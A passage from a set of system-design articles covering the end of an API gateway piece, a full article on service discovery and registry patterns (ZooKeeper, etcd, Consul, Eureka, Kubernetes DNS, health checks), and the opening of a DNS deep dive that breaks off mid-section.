- Changing URL structure
- Changing required parameters

**Transition strategy:**

1. Deploy new version alongside old
2. Gateway routes based on version
3. Publish deprecation timeline (6-12 months typical)
4. Monitor old version usage
5. Sunset old version when usage drops

**Stripe's approach:** Date-based API versions (2024-01-15). Default version set per API key. Explicit version header overrides. Old versions supported for years.

## Conclusion

API gateway design requires balancing centralization benefits against coupling risks:

- **Centralize cross-cutting concerns:** Auth, rate limiting, observability belong at the gateway. Implementing these per-service creates inconsistency and duplication.

- **Avoid centralizing business logic:** Gateway decides "can this request proceed" not "what should this request do." Business rules belong in services or BFF layers.

- **Plan for failure:** The gateway sees all traffic—its failure is catastrophic. Use multiple independent gateways per domain, implement circuit breakers, and design graceful degradation paths.

- **Choose architecture by team and scale:** Small teams benefit from managed gateways (AWS API Gateway, Apigee). Large teams with platform engineering capacity can operate Kong or Envoy for flexibility and cost control.

- **Measure what matters:** Gateway latency overhead, cache hit ratio, rate limit rejections, and error rates by endpoint. These metrics reveal whether the gateway is helping or hurting.

The recurring pattern across Netflix, Amazon, and Google: gateways are infrastructure, not application logic. They enforce policies and route traffic. The moment business logic creeps in, the gateway becomes a bottleneck for both performance and organizational velocity.

## Appendix

### Prerequisites

- HTTP/HTTPS protocol fundamentals
- TLS handshake process
- Basic distributed systems concepts (load balancing, service discovery)
- Microservices architecture patterns

### Summary

- Gateways centralize cross-cutting concerns (auth, rate limiting, routing) at a single enforcement point
- Edge gateways handle external traffic with strict security; internal gateways (or service mesh) handle service-to-service
- BFF pattern provides client-specific gateways for mobile, web, and partner APIs
- Stateless gateway design enables horizontal scaling; state lives in external stores
- Gateway overhead is typically 1-5ms; cold starts (serverless) can add 100ms-10s
- Split gateways by business domain to avoid single point of failure
- Business logic in gateway creates monolith; keep gateway focused on policies and routing

### References

- [Microservices Pattern: API Gateway](https://microservices.io/patterns/apigateway.html) - Chris Richardson's canonical pattern description
- [Netflix: Open Sourcing Zuul 2](https://netflixtechblog.com/open-sourcing-zuul-2-82ea476cb2b3) - Netflix engineering on Zuul architecture
- [Kong Gateway Documentation](https://docs.konghq.com/) - Plugin architecture and configuration
- [Envoy Proxy Documentation](https://www.envoyproxy.io/docs/envoy/latest/) - Performance characteristics and configuration
- [AWS API Gateway Documentation](https://docs.aws.amazon.com/apigateway/) - Managed gateway features and limits
- [Google Apigee Documentation](https://cloud.google.com/apigee/docs) - Enterprise API management
- [Sam Newman: Backends for Frontends](https://samnewman.io/patterns/architectural/bff/) - Original BFF pattern description
- [Canva Incident Report: API Gateway Outage](https://www.canva.dev/blog/engineering/canva-incident-report-api-gateway-outage/) - Real-world gateway failure analysis
- [Stripe: Designing APIs for Humans](https://stripe.com/blog/payment-api-design) - API versioning and design philosophy
- [Service Mesh vs API Gateway](https://blog.christianposta.com/microservices/do-i-need-an-api-gateway-if-i-have-a-service-mesh/) - Christian Posta on architectural patterns

---

## Service Discovery and Registry Patterns

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-fundamentals/service-discovery-and-registry
**Category:** System Design / System Design Fundamentals
**Description:** How services find each other in dynamic distributed environments where instance locations change continuously. This article covers discovery models, registry design, health checking mechanisms, and production trade-offs across client-side, server-side, and service mesh approaches.

# Service Discovery and Registry Patterns

How services find each other in dynamic distributed environments where instance locations change continuously. This article covers discovery models, registry design, health checking mechanisms, and production trade-offs across client-side, server-side, and service mesh approaches.

<figure>

![Service discovery connects clients to healthy backend instances through a registry. Client-side discovery queries the registry directly; server-side discovery routes through an intermediary.](./service-discovery-connects-clients-to-healthy-backend-instances-through-a-regist.svg)

<figcaption>Service discovery connects clients to healthy backend instances through a registry. Client-side discovery queries the registry directly; server-side discovery routes through an intermediary.</figcaption>
</figure>

## Abstract

Service discovery solves the fundamental problem of dynamic addressing in distributed systems: how does Service A find Service B when B's instances scale, fail, and migrate continuously?

The core trade-off is **freshness vs. stability**:

- **Aggressive discovery** (low TTLs, frequent health checks) detects failures fast but amplifies load and risks flapping
- **Conservative discovery** (high TTLs, tolerant health checks) is stable but routes to stale endpoints

Three patterns dominate:

| Pattern      | Discovery Logic | Network Hops    | Coupling              |
| ------------ | --------------- | --------------- | --------------------- |
| Client-side  | In the client   | 1 (direct)      | High (registry-aware) |
| Server-side  | In a proxy/LB   | 2 (via proxy)   | Low (proxy handles)   |
| Service mesh | In sidecar      | 2 (via sidecar) | Zero (transparent)    |

Registries differ by consistency model: **CP systems** (ZooKeeper, etcd) guarantee you never route to a deregistered instance but may reject registrations during partitions. **AP systems** (Eureka) stay available but may temporarily route to stale endpoints.

## Discovery Models

### Client-Side Discovery

The client queries the registry directly, receives a list of healthy instances, and selects one using a local load-balancing algorithm.

**Mechanism:**

1. Service instances register with the registry on startup
2. Client queries registry for available instances of target service
3. Client applies load-balancing logic (round-robin, least connections, weighted)
4. Client calls the selected instance directly

**Best when:**

- Homogeneous client stack (all services use the same framework)
- Latency-critical paths where an extra hop matters
- Need sophisticated client-side load balancing (request hedging, adaptive routing)

**Trade-offs:**

- ✅ One fewer network hop than server-side
- ✅ Client controls load-balancing algorithm
- ✅ No central bottleneck in the data path
- ❌ Discovery logic must be implemented per language/framework
- ❌ Registry changes require client library updates across all services
- ❌ Clients become coupled to registry protocol

**Real-world example:** Netflix's OSS stack uses Eureka as the registry and Ribbon for client-side load balancing. Each service embeds Ribbon, which polls Eureka every 30 seconds for instance lists. This design eliminated the load balancer as a bottleneck—critical at Netflix's scale where a central LB would process billions of requests daily. The trade-off: every Netflix service must use the JVM and integrate with Ribbon.

### Server-Side Discovery

Clients call a well-known proxy or load balancer address. The proxy queries the registry and forwards requests to healthy instances.

**Mechanism:**

1. Service instances register with the registry
2. Proxy/LB subscribes to registry changes
3. Client calls the proxy using a stable DNS name or VIP
4. Proxy selects an instance and forwards the request

**Best when:**

- Polyglot environment with many languages/frameworks
- External clients (mobile apps, third-party integrations)
- Centralized policy enforcement (rate limiting, auth)

**Trade-offs:**

- ✅ Clients remain simple—no discovery logic
- ✅ Single point to update discovery behavior
- ✅ Language-agnostic
- ❌ Additional network hop adds latency
- ❌ Proxy can become a throughput bottleneck
- ❌ Proxy is a single point of failure (must be HA)

**Real-world example:** AWS Application Load Balancer (ALB) integrates with ECS/EKS for server-side discovery. Services register automatically via target group health checks. Clients hit the ALB's DNS name. AWS manages ALB availability across AZs, but customers pay for the extra hop (~1-2ms) and ALB's throughput limits (which can be raised but require planning for flash crowds).

### Service Mesh (Sidecar Pattern)

A proxy sidecar runs alongside each service instance, handling all inbound and outbound traffic transparently. The control plane configures sidecars with routing rules and service locations.

**Mechanism:**

1. Sidecar proxy (e.g., Envoy) is injected into each pod
2. Control plane (e.g., Istiod) watches the service registry and pushes configs to sidecars
3. Application calls `localhost` or a virtual address
4. Sidecar intercepts, resolves destination, and forwards

**Best when:**

- Zero-trust networking requirements (mTLS everywhere)
- Complex traffic management (canary deployments, traffic mirroring)
- Observability requirements (distributed tracing without code changes)
- Large organizations where mandating client library changes is impractical

**Trade-offs:**

- ✅ Completely transparent to applications
- ✅ Consistent behavior across all languages
- ✅ Rich traffic management capabilities built-in
- ❌ Significant resource overhead (~0.5 CPU, 50MB RAM per sidecar)
- ❌ Operational complexity of the mesh control plane
- ❌ Debugging becomes harder (problems could be app, sidecar, or control plane)

**Real-world example:** Lyft built Envoy specifically to migrate from a monolith to microservices without modifying existing services. The sidecar pattern let them add mTLS, rate limiting, and observability uniformly. Resource overhead is ~5% of cluster capacity at Lyft's scale. The trade-off they accepted: a distributed systems problem (network call) now has three components that could fail (app, local sidecar, remote sidecar).

### Decision Matrix

| Factor               | Client-Side   | Server-Side       | Service Mesh  |
| -------------------- | ------------- | ----------------- | ------------- |
| Latency overhead     | None          | +1-5ms            | +0.5-1ms      |
| Client complexity    | High          | Low               | None          |
| Language support     | Per-language  | Any               | Any           |
| Operational overhead | Low           | Medium            | High          |
| mTLS/security        | DIY           | DIY or LB feature | Built-in      |
| Traffic management   | Limited       | LB-dependent      | Comprehensive |
| Best scale           | < 50 services | Any               | > 20 services |

## Registry Design and Technologies

### ZooKeeper

**Architecture:** Hierarchical namespace (like a filesystem) with znodes. Consensus via ZAB protocol (Paxos variant). Strongly consistent (CP).

**Service discovery pattern:** Services create ephemeral znodes under `/services/{service-name}/`. Ephemeral nodes auto-delete when the session (TCP connection) terminates. Clients watch the parent node for child changes.

```
/services
  /user-service
    /instance-001  -> {"host": "10.0.1.5", "port": 8080}
    /instance-002  -> {"host": "10.0.1.6", "port": 8080}
```

**Session timeout behavior:** The client sends heartbeats every `sessionTimeout/3`. If the server receives no heartbeat within `sessionTimeout`, it expires the session and deletes all ephemeral nodes. Default minimum timeout is 2× tick time (typically 4 seconds minimum).

**Failure mode:** If a service process hangs (not crashed), its TCP connection may stay alive while it can't serve requests. The ephemeral node remains, routing traffic to a zombie instance. **Mitigation:** Implement application-level health endpoints; don't rely solely on session liveness.

**Best when:**

- Already using ZooKeeper for coordination (leader election, distributed locks)
- Need strong consistency guarantees
- Java-heavy environment (native client is Java)

**Real-world example:** Apache Kafka uses ZooKeeper for broker registration and topic metadata. Each broker creates `/brokers/ids/{broker-id}` as an ephemeral node. When a broker crashes, ZooKeeper detects session loss within ~6 seconds (default session timeout), and controllers rebalance partitions.

### etcd

**Architecture:** Flat key-value store with directory-like prefixes. Consensus via Raft. Strongly consistent (CP). gRPC API with watches.

**Service discovery pattern:** Services create keys with leases. Leases expire after TTL unless refreshed via `LeaseKeepAlive` stream.

```
/services/user-service/instance-001 -> {"host": "10.0.1.5", "port": 8080}
/services/user-service/instance-002 -> {"host": "10.0.1.6", "port": 8080}
```

**Lease mechanism:** A lease is created with a TTL (e.g., 10 seconds). Keys are attached to leases. The client must send keep-alive requests before TTL expires. If the client dies, the lease expires and all attached keys are deleted atomically.

**Watch guarantees:** Events are ordered by revision, never duplicated, and atomic (multi-key updates arrive together). Watches can resume from a revision if reconnecting after disconnect.

**API guarantees:** Strict serializability for KV operations—every completed operation is durable and linearizable.

**Best when:**

- Running Kubernetes (etcd is the backing store)
- Need strong consistency with better performance than ZooKeeper
- Polyglot environment (gRPC clients for many languages)

**Benchmark context:** etcd v3.3 achieved ~35,000 writes/sec with 28ms average latency in etcd-io/dbtester benchmarks—roughly 2× ZooKeeper's throughput and 6× Consul's for pure KV workloads.

### Consul

**Architecture:** Gossip-based membership (Serf/SWIM protocol) + Raft for state machine. Provides service discovery, health checking, and KV store in one package.

**Service discovery pattern:** Services register via agent API or config files. Consul agents run on every node and participate in gossip. Discovery via DNS (`user-service.service.consul`) or HTTP API.

**Health checking:** Multi-layer health model:

1. **Agent gossip:** SWIM protocol detects node failures (UDP-based, ~1 second detection)
2. **Service checks:** HTTP, TCP, script, or gRPC checks configured per service
3. **TTL checks:** Service must actively report healthy within TTL

**Gossip protocol details:** Consul uses SWIM with Lifeguard enhancements. LAN gossip (port 8301) handles intra-datacenter communication; WAN gossip (port 8302) handles cross-datacenter. Nodes marked "suspicious" get a grace period to prove liveness before being declared dead.

**DNS interface:** Query `user-service.service.consul` to get healthy instances. Supports SRV records for port discovery. Negative caching TTL is configurable via `soa.min_ttl`.

**Best when:**

- Need DNS-based discovery (legacy systems, databases)
- Multi-datacenter deployments (WAN gossip built-in)
- Want integrated health checking without external tools

**Real-world example:** HashiCorp's own platform uses Consul for discovery across multiple clouds. Their WAN gossip federation allows services in AWS to discover services in GCP without central coordination. Trade-off: Consul's KV performance lags etcd/ZooKeeper—they use it for discovery, not high-throughput configuration storage.

### Eureka

**Architecture:** AP system designed for AWS. Peer-to-peer replication between servers. Eventually consistent.

**Service discovery pattern:** Services register via REST API, then send heartbeats every 30 seconds. Clients cache the registry locally and refresh every 30 seconds.

**Self-preservation mode:** If heartbeat renewals drop below 85% of expected (indicating network partition rather than mass failures), Eureka stops evicting instances. This prevents cascading failures where a network blip causes mass deregistration.

The calculation: If 2 instances are registered, Eureka expects `(2 instances × 2 heartbeats/min + 1) × 0.85 = 5` heartbeats per minute. Below this threshold, self-preservation activates.

**Trade-off:** Self-preservation can delay detection of actual failures. A service that crashes during self-preservation mode stays in the registry until the mode exits or the service gracefully deregisters.

**Best when:**

- Running on AWS with fluctuating network conditions
- Prefer availability over consistency for discovery
- Already using Spring Cloud ecosystem

**Netflix's rationale:** Netflix chose AP semantics because routing to a potentially-stale instance is better than returning "no instances available" during a network partition. Their services are designed to handle transient failures gracefully (circuit breakers, retries, fallbacks).

### Kubernetes DNS (CoreDNS)

**Architecture:** CoreDNS pods watch the Kubernetes API for Service and EndpointSlice resources, generating DNS records on-the-fly.

**Service discovery pattern:** Services get DNS names automatically:

- ClusterIP: `my-service.namespace.svc.cluster.local` → ClusterIP VIP
- Headless: `my-service.namespace.svc.cluster.local` → Pod IPs directly

**Record types:**

- A record: Service name → IP(s)
- SRV record: `_port-name._protocol.service.namespace.svc.cluster.local` → port + target

**Caching behavior:** CoreDNS caches responses based on configured TTL (default 30 seconds). Negative caching (NXDOMAIN) uses SOA minimum TTL. Low TTLs improve freshness but increase API server load.

**Startup behavior:** CoreDNS delays serving for up to 5 seconds on startup while synchronizing with the Kubernetes API. If sync fails, it returns SERVFAIL for Kubernetes records until sync completes.

**Best when:**

- Already on Kubernetes
- Services only need to discover other in-cluster services
- Simple discovery needs (no weighted routing, canaries via DNS)

## Health Checking Patterns

### Health Check Types

| Type   | Mechanism                    | Detects                           | Doesn't Detect                        |
| ------ | ---------------------------- | --------------------------------- | ------------------------------------- |
| TCP    | Connect to port              | Process crash, port not listening | Application deadlock, OOM, logic bugs |
| HTTP   | GET /health returns 2xx      | Above + app can handle requests   | Dependency failures, partial failures |
| gRPC   | grpc.health.v1.Health        | Same as HTTP for gRPC services    | Same limitations                      |
| Script | Run arbitrary command        | Custom conditions                 | Slow if script is expensive           |
| TTL    | Service must actively report | Service-reported health           | Service hangs but doesn't report      |

### Designing Health Endpoints

**Shallow vs. deep checks:**

- **Shallow** (`/health`): Returns 200 if the process is running. Fast, stable, but misses dependency issues.
- **Deep** (`/health/ready`): Checks database connections, downstream services, cache. Comprehensive but can cause cascading failures if a shared dependency is slow.

**Recommendation:** Use shallow checks for load balancer health (keep traffic flowing). Use deep checks for orchestrator readiness (don't route until fully initialized).

**Example health endpoint logic:**

```go collapse={1-8, 22-30}
package main

import (
    "net/http"
    "time"
    "database/sql"
)

func healthHandler(db *sql.DB) http.HandlerFunc {
    return func(w http.ResponseWriter, r *http.Request) {
        // Shallow check - process is alive
        if r.URL.Query().Get("deep") != "true" {
            w.WriteHeader(http.StatusOK)
            return
        }
        // Deep check - verify critical dependencies
        ctx, cancel := context.WithTimeout(r.Context(), 2*time.Second)
        defer cancel()
        if err := db.PingContext(ctx); err != nil {
            w.WriteHeader(http.StatusServiceUnavailable)
            return
        }
        w.WriteHeader(http.StatusOK)
    }
}
```

### Health Check Timing

**Interval and timeout configuration:**

| Parameter           | Too Low                                   | Too High                           | Typical Range             |
| ------------------- | ----------------------------------------- | ---------------------------------- | ------------------------- |
| Interval            | High load on registry/services            | Slow failure detection             | 5-30 seconds              |
| Timeout             | False positives from slow networks        | Delayed detection of hung services | 2-10 seconds              |
| Unhealthy threshold | Flapping                                  | Traffic to dead instances          | 2-3 consecutive failures  |
| Healthy threshold   | Premature traffic to recovering instances | Slow recovery                      | 2-3 consecutive successes |

**Failure detection time:** `interval × unhealthy_threshold + timeout`

Example: 10s interval, 3 failures required, 5s timeout = 35 seconds worst-case detection time.

### Anti-Patterns

**Checking dependencies in liveness probes:** If your liveness probe calls the database and the database is slow, Kubernetes kills your pod. Now you have fewer pods to handle load, making the database slower, causing more pods to be killed—cascading failure.

**Health checks that do work:** A health endpoint that performs a database write "to verify it works" adds load proportional to the number of health checkers. With 3 replicas checking every 5 seconds, that's 36 writes/minute just for health checking.

**Single health endpoint for all purposes:** Load balancers, orchestrators, and monitoring have different needs. A single `/health` that checks everything will be either too aggressive (causes unnecessary restarts) or too lenient (routes to broken instances).

## DNS-Based Discovery Trade-offs

### Why DNS Is Attractive

- Universal support—every language, framework, and tool understands DNS
- No client libraries required
- Works with legacy applications that can't be modified
- Familiar operational model

### Why DNS Is Limited

**TTL and caching:**

DNS responses are cached at multiple layers: resolver, OS, application runtime. Even with a 30-second TTL:

1. Client makes DNS query at T=0, gets instance A
2. Instance A crashes at T=5
3. Client's DNS cache is valid until T=30
4. Client routes to dead instance for 25 seconds

**Negative caching:** If you query for a service before any instances register, the NXDOMAIN response is cached. Default negative TTL can be 5 minutes (Windows) to 15 minutes. New instances registering won't help until negative cache expires.

**JVM DNS caching:** The JVM caches DNS indefinitely by default for security reasons (`networkaddress.cache.ttl`). Override with `-Dsun.net.inetaddr.ttl=30` or configure via security properties.

**Load balancing limitations:**

- DNS round-robin gives equal weight to all instances—no least-connections or latency-based routing
- No health awareness—DNS returns all registered instances, healthy or not (unless registry integration removes unhealthy records)
- Connection reuse defeats DNS load balancing—long-lived HTTP/2 or gRPC connections stick to one backend

### Hybrid Patterns

**Consul DNS + HTTP API:** Use DNS for simple lookups from legacy apps; use HTTP API for sophisticated clients that need health status, tags, and metadata.

**External DNS + Service Discovery:** Tools like external-dns sync Kubernetes Service records to Route53/Cloud DNS, enabling discovery from outside the cluster.

## Security Considerations

### Authentication and Authorization

**mTLS (Mutual TLS):**

Service mesh deployments typically enforce mTLS between all services:

1. Control plane (e.g., Istiod, SPIRE) acts as CA
2. Each service gets a certificate with identity (SPIFFE ID, service account)
3. Sidecars terminate TLS, verify peer certificates
4. Authorization policies reference identities, not IPs

**Registry access control:**

- **Consul:** ACL tokens with per-service read/write permissions
- **etcd:** Role-based access control (RBAC) with per-key permissions
- **ZooKeeper:** ACLs per znode with digest, IP, or SASL authentication

**Service-to-service authorization patterns:**

| Pattern              | How It Works                            | Complexity | Flexibility          |
| -------------------- | --------------------------------------- | ---------- | -------------------- |
| mTLS identity        | Certificate SAN/CN checked by sidecar   | Medium     | Service-level        |
| JWT validation       | Bearer token verified by app or sidecar | Medium     | Request-level claims |
| External authz (OPA) | Sidecar calls policy engine             | High       | Arbitrary policies   |

### Threat Model

**Registry compromise:** An attacker who can write to the registry can redirect traffic to malicious instances. **Mitigation:** ACLs, audit logging, separate registry access from application credentials.

**Service impersonation:** Without mTLS, any pod on the network can claim to be any service. **Mitigation:** mTLS with identity verification, network policies.

**Health check bypass:** Malicious instance returns healthy but serves malformed responses. **Mitigation:** Deep health checks, anomaly detection in service mesh.

## Failure Modes and Split-Brain

### Network Partitions

**CP registry (ZooKeeper, etcd) behavior:**

During a partition, the minority partition loses quorum and stops accepting writes. Services in the minority can't register or update health status. Existing registrations remain until session/lease timeout.

**AP registry (Eureka) behavior:**

Both partitions continue operating independently. Each partition's registry diverges. After partition heals, registries must reconcile—Eureka uses timestamps to prefer newer registrations.

### Split-Brain Scenarios

**Scenario:** Network partition separates 2 of 5 etcd nodes.

- 3-node partition has quorum (3/5 > 50%), continues normal operation
- 2-node partition can't achieve quorum, becomes read-only
- Services in the 2-node partition can query cached data but can't register/deregister

**Mitigation strategies:**

1. **Odd number of registry nodes** (3, 5, 7)—ensures one partition always has majority
2. **Spread across failure domains**—if registry nodes are in different AZs, a single AZ failure doesn't lose quorum
3. **Client-side caching**—clients cache last-known-good instance list for graceful degradation

### Cascading Failures

**Registry overload pattern:**

1. Registry becomes slow under load
2. Health check timeouts increase
3. Instances marked unhealthy
4. Traffic redistributes to remaining instances
5. Remaining instances overload
6. More instances marked unhealthy
7. System collapse

**Mitigation:**

- Rate limit registration/deregistration operations
- Use exponential backoff with jitter for retries
- Implement circuit breakers between services and registry
- Self-preservation mode (Eureka's approach)

## Operational Considerations

### Capacity Planning

**Registry sizing:**

| Metric           | ZooKeeper    | etcd      | Consul          |
| ---------------- | ------------ | --------- | --------------- |
| Max services     | ~100K znodes | ~1M keys  | ~10K services   |
| Memory per entry | ~1KB         | ~256B     | ~1KB            |
| Write throughput | ~10K/sec     | ~35K/sec  | ~5K/sec         |
| Read throughput  | ~100K/sec    | ~100K/sec | Limited by Raft |

**Health check load:** `number_of_instances × check_frequency × checkers_per_instance`

Example: 1,000 instances, 5-second checks, 3 registry nodes = 600 checks/second cluster-wide.

### Monitoring

**Key metrics to track:**

- **Registration rate:** Spikes indicate deployment or scaling events; sustained high rates may indicate flapping
- **Deregistration rate:** High rates during non-deployment periods indicate failures
- **Health check latency:** p99 approaching timeout indicates infrastructure stress
- **Watch/subscription lag:** Time between state change and client notification
- **Registry leader elections:** Frequent elections indicate network instability or resource constraints

### Migration Strategies

**From static configuration to service discovery:**

1. Deploy registry alongside existing static configuration
2. Register services in both places
3. Migrate clients one at a time to use discovery
4. Verify with traffic shadowing
5. Remove static configuration

**Between discovery systems (e.g., Eureka to Consul):**

1. Run both registries in parallel
2. Services register with both
3. Migrate clients incrementally
4. Monitor error rates during transition
5. Decommission old registry

## Common Pitfalls

### 1. Trusting DNS TTLs

**The mistake:** Setting a 30-second TTL and assuming clients will re-resolve every 30 seconds.

**Why it happens:** DNS caching occurs at multiple layers (resolver, OS, language runtime) with different TTL handling.

**The consequence:** Traffic routes to stale instances for minutes after deregistration.

**The fix:** Understand your client's DNS behavior. For JVM, set `sun.net.inetaddr.ttl`. For long-lived connections, implement connection draining and client-side reconnection logic.

### 2. Health Checks as Liveness Probes

**The mistake:** Using deep health checks (that verify dependencies) for Kubernetes liveness probes.

**Why it happens:** "Comprehensive health checking" sounds like best practice.

**The consequence:** Database slowdown kills all pods via failed liveness probes, causing complete outage.

**The fix:** Shallow checks for liveness (is the process alive?), deep checks for readiness (can it serve traffic?).

### 3. Synchronous Registry Lookups in Hot Paths

**The mistake:** Calling the registry on every request to get the latest instance list.

**Why it happens:** Desire for freshest possible data.

**The consequence:** Registry becomes bottleneck; registry latency adds to every request latency.

**The fix:** Cache instance lists locally, refresh asynchronously (every 30 seconds), subscribe to change notifications where available.

### 4. Single Registry Cluster for All Environments

**The mistake:** Using one registry cluster for dev, staging, and production.

**Why it happens:** Operational simplicity, cost savings.

**The consequence:** A misconfigured dev service registers in production; a developer's load test overwhelms the shared registry.

**The fix:** Separate registry clusters per environment with network isolation.

## Conclusion

Service discovery is infrastructure—invisible when working, catastrophic when failing. The choice between client-side, server-side, and service mesh patterns depends on your constraints:

- **Client-side** when you control the client stack and need minimal latency
- **Server-side** when clients are heterogeneous or external
- **Service mesh** when you need uniform security and observability without code changes

Registry technology matters less than operational maturity. A well-operated Consul cluster beats a neglected etcd cluster. Focus on: monitoring registration/deregistration rates, testing partition scenarios, and understanding your clients' caching behavior.

The safest assumption: your service will be called with stale discovery data. Design for it—use timeouts, retries with backoff, and circuit breakers. Discovery tells you where services might be; your application must handle when they're not.

## Appendix

### Prerequisites

- Understanding of distributed systems fundamentals (CAP theorem, consensus)
- Familiarity with load balancing concepts
- Basic knowledge of DNS resolution

### Summary

- **Three discovery patterns:** Client-side (low latency, high coupling), server-side (simple clients, extra hop), service mesh (transparent, high overhead)
- **CP vs AP registries:** CP (ZooKeeper, etcd) sacrifices availability during partitions; AP (Eureka) may route to stale instances
- **Health checking:** Shallow for liveness, deep for readiness; never check dependencies in liveness probes
- **DNS limitations:** Caching at multiple layers, negative caching, no health-aware load balancing
- **Security:** mTLS for service identity, ACLs for registry access, audit logging
- **Failure handling:** Design for stale data, implement circuit breakers, test partition scenarios

### References

- [Microservices.io - Client-side discovery pattern](https://microservices.io/patterns/client-side-discovery.html)
- [Microservices.io - Server-side discovery pattern](https://microservices.io/patterns/server-side-discovery.html)
- [etcd API guarantees](https://etcd.io/docs/v3.5/learning/api_guarantees/)
- [Consul Gossip Protocol](https://developer.hashicorp.com/consul/docs/concept/gossip)
- [Netflix Eureka - Self Preservation Mode](https://github.com/netflix/eureka/wiki/server-self-preservation-mode)
- [Kubernetes DNS for Services and Pods](https://kubernetes.io/docs/concepts/services-networking/dns-pod-service/)
- [Istio Architecture](https://istio.io/latest/docs/ops/deployment/architecture/)
- [Airbnb SmartStack](https://medium.com/airbnb-engineering/smartstack-service-discovery-in-the-cloud-4b8a080de619)
- [ZooKeeper Programmer's Guide](https://zookeeper.apache.org/doc/current/zookeeperProgrammers.html)
- [RFC 2308 - Negative Caching of DNS Queries](https://datatracker.ietf.org/doc/html/rfc2308)
- [etcd-io/dbtester benchmarks](https://github.com/etcd-io/dbtester)

---

## DNS Deep Dive

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-fundamentals/dns-deep-dive
**Category:** System Design / System Design Fundamentals
**Description:** The Domain Name System (DNS) is the distributed hierarchical database that maps human-readable domain names to IP addresses. Designed in 1983 by Paul Mockapetris (RFC 1034/1035), DNS handles billions of queries per day with sub-100ms latency globally—yet its design choices (UDP transport, caching semantics, hierarchical delegation) create operational nuances that affect failover speed, security posture, and load distribution. This article covers DNS internals, resolution mechanics, record types with design rationale, TTL strategies, load balancing approaches, security mechanisms (DNSSEC, DoH/DoT), and production patterns from major providers.

# DNS Deep Dive

The Domain Name System (DNS) is the distributed hierarchical database that maps human-readable domain names to IP addresses. Designed in 1983 by Paul Mockapetris (RFC 1034/1035), DNS handles **billions of queries per day** with sub-100ms latency globally—yet its design choices (UDP transport, caching semantics, hierarchical delegation) create operational nuances that affect failover speed, security posture, and load distribution. This article covers DNS internals, resolution mechanics, record types with design rationale, TTL strategies, load balancing approaches, security mechanisms (DNSSEC, DoH/DoT), and production patterns from major providers.

<figure>

![DNS resolution flow: stub resolver queries recursive resolver, which walks the hierarchy (root → TLD → authoritative) or returns cached answers.](./dns-resolution-flow-stub-resolver-queries-recursive-resolver-which-walks-the-hie.svg)

<figcaption>DNS resolution flow: stub resolver queries recursive resolver, which walks the hierarchy (root → TLD → authoritative) or returns cached answers.</figcaption>
</figure>

## Abstract

DNS is a **hierarchical, eventually consistent, globally distributed key-value store** optimized for read-heavy workloads. The mental model:

| Layer                    | Role                     | Caching Behavior                   |
| ------------------------ | ------------------------ | ---------------------------------- |
| **Stub resolver**        | OS-level client          | Browser: 1min, OS: varies          |
| **Recursive resolver**   | Walks hierarchy, caches  | TTL-based, negative caching        |
| **Authoritative server** | Source of truth for zone | No caching (serves from zone file) |

**Core design trade-offs:**

- **UDP over TCP**: Faster (no handshake), but limited to 512 bytes without EDNS—TCP fallback for large responses
- **TTL-based caching**: Reduces load on authoritative servers, but delays propagation of changes
- **Hierarchical delegation**: Scalable (no single point of failure), but adds latency for uncached queries (4+ round trips)
- **No authentication in original design**: Enables cache poisoning—DNSSEC adds signatures, DoH/DoT add encryption

**Operational implications:**

- Failover speed is bounded by TTL (60-300s for fast failover, 3600-86400s for stable records)
- Negative responses (NXDOMAIN) are cached—typosquatting and phishing leverage this
- EDNS Client Subnet (RFC 7871) enables GeoDNS accuracy but leaks client location to authoritative servers

## DNS Resolution Process

### Query Types: Recursive vs. Iterative

DNS supports two query modes that serve different purposes:

**Recursive queries** (client → recursive resolver): The client asks for a complete answer. The resolver takes full responsibility for walking the hierarchy. Most client queries are recursive—the `RD` (Recursion Desired) flag is set to 1.

**Iterative queries** (recursive resolver → authoritative servers): The resolver asks each server in turn; each returns a referral to the next server. The resolver follows the chain: root → TLD → authoritative.

**Design rationale**: This separation allows caching at the recursive resolver layer. Clients don't need to understand DNS hierarchy—they just ask their configured resolver. Recursive resolvers amortize the cost of hierarchy traversal across many clients.

### Resolution Chain in Detail

For `www.example.com` from a cold cache:

1. **Root query**: Resolver queries a root server (e.g., `a.root-servers.net`). Root returns referral to `.com` TLD servers with their IP addresses (glue records).

2. **TLD query**: Resolver queries `.com` TLD server. TLD returns referral to `example.com` authoritative servers.

3. **Authoritative query**: Resolver queries `example.com` nameserver. Authoritative returns the A record with IP address.

4. **Caching**: Resolver caches all responses per their TTLs—root referrals (48 hours typical), TLD referrals (24-48 hours), final answer (varies by record).

**Latency breakdown** (typical uncached):

- Root query: 5-20ms (anycast)
- TLD query: 10-30ms
- Authoritative query: 10-100ms+ (depends on server location)
- Total: 25-150ms uncached vs. <1ms cached

### Negative Caching (RFC 2308)

When a domain doesn't exist (NXDOMAIN) or has no records of the requested type (NODATA), the response is cached to prevent repeated queries.

**Mechanism**: The authoritative server includes its SOA record in the response. The negative cache TTL is the **minimum of**:

- SOA record's TTL
- SOA MINIMUM field value

**Design rationale**: Without negative caching, attackers could flood resolvers with queries for non-existent domains, causing repeated hierarchy traversals. RFC 2308 mandates negative caching when SOA is present.

**Production impact**:

- Setting SOA MINIMUM too high (e.g., 86400s) means a typo in DNS configuration takes a day to "undo" in caches
- Setting it too low increases authoritative server load
- Typical recommendation: 300-3600 seconds

```
example.com.  IN SOA ns1.example.com. admin.example.com. (
    2024010101  ; serial
    7200        ; refresh (2 hours)
    900         ; retry (15 minutes)
    1209600     ; expire (2 weeks)
    3600        ; minimum TTL for negative caching
)
```

## Record Types and Design Rationale

DNS record types evolved to support different use cases. Understanding their design helps avoid common misconfigurations.

### Address Records: A and AAAA

**A record**: Maps hostname to IPv4 address (32-bit). Defined in RFC 1035 (1987).

**AAAA record** (quad-A): Maps hostname to IPv6 address (128-bit). Defined in RFC 3596 (2003). The name "AAAA" reflects that IPv6 addresses are 4× the size of IPv4.

**Dual-stack behavior**: Modern resolvers query both A and AAAA in parallel. Clients prefer IPv6 if available (RFC 6724 address selection). If only A exists, no AAAA NODATA response is cached.

**Design consideration**: Multiple A/AAAA records for the same name enable round-robin load distribution—the resolver returns all records, but their order may be rotated. Client behavior varies: some use first, some randomize.

### CNAME: Canonical Name

CNAME creates an alias from one domain to another. When a resolver queries a CNAME, it must follow the chain to the canonical name and query that.

**RFC 1034 constraint**: CNAME cannot coexist with other records at the same name. This is because CNAME effectively says "this name is really that name"—having both `A` and `CNAME` creates ambiguity.

